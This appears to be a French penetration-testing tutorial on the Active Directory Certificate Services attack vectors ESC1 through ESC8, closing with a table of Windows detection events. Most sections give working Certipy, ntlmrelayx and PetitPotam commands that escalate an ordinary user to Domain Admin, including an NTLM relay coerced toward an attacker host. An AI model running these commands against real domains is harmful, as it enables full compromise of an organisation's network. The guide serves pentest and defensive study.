ESC1 à ESC8 — comprendre chaque vecteur d'attaque ADCS
Pourquoi ADCS est une goldmine en pentest AD
Active Directory Certificate Services (ADCS) est souvent mal configuré et oublié des équipes défensives. Les 8 vecteurs ESC permettent dans la majorité des cas une élévation vers Domain Admin.
Outil de référence : Certipy par ly4k.
certipy find -u user@domain.local -p pass -dc-ip 10.10.10.1 -vulnerable
ESC1 — Enrollee Supplies Subject
Condition : le template permet à l’enrollé de spécifier un Subject Alternative Name (SAN) arbitraire.
certipy req -u user@domain.local -p pass \
-ca 'DOMAIN-CA' -template 'VulnTemplate' \
-upn 'administrator@domain.local'
certipy auth -pfx administrator.pfx
ESC2 — Any Purpose EKU
Condition : le template a l’EKU “Any Purpose” ou aucun EKU (utilisable pour l’authentification).
Exploitation identique à ESC1 si l’enrollé peut fournir un SAN, ou via agent certificate si non.
ESC3 — Certificate Request Agent
Condition : un template permet d’obtenir un certificat d’agent, utilisable pour s’enrolle au nom d’un autre utilisateur.
# Étape 1 : obtenir un certificat d'agent
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' -template 'EnrollmentAgent'
# Étape 2 : s'enrolle au nom de l'admin
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' \
-template 'User' -on-behalf-of 'domain\administrator' -pfx agent.pfx
ESC4 — Vulnerable Certificate Template ACL
Condition : l’utilisateur a des droits d’écriture sur le template (WriteProperty, WriteDACL…).
# Modifier le template pour le rendre ESC1
certipy template -u user@domain.local -p pass -template 'VulnTemplate' -save-old
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' \
-template 'VulnTemplate' -upn 'administrator@domain.local'
ESC5 — Vulnerable PKI AD Object ACL
Condition : droits sur des objets PKI critiques (CA, NTAuthCertificates, enrollment services…).
Vecteur plus rare, nécessite une analyse BloodHound approfondie des ACLs PKI.
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition : le flag EDITF_ATTRIBUTESUBJECTALTNAME2 est activé sur la CA, permettant à n’importe quel template d’accepter un SAN.
certutil -config "CA-SERVER\CA-NAME" -getreg policy\EditFlags
# Chercher EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 — Vulnerable Certificate Authority ACL
Condition : l’utilisateur a ManageCA ou ManageCertificates sur la CA.
# Avec ManageCA : activer EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6
certipy ca -u user@domain.local -p pass -ca 'DOMAIN-CA' -enable-templates SubCA
ESC8 — NTLM Relay to AD CS HTTP Endpoints
Condition : les endpoints HTTP de l’enrollment web (certsrv) n’ont pas l’EPA activé.
# Lancer le relay
ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template 'DomainController'
# Déclencher une authentification entrante (PrinterBug, PetitPotam...)
petitpotam.py -u user -p pass ATTACKER-IP DC-IP
Détection
| ESC | Évènement Windows | Description |
|---|---|---|
| ESC1/2/3 | 4886, 4887 | Certificate requested/issued avec SAN suspect |
| ESC4 | 5136 | Modification d’objet AD (template) |
| ESC8 | 4624 type 3 depuis certsrv | NTLM auth vers web enrollment |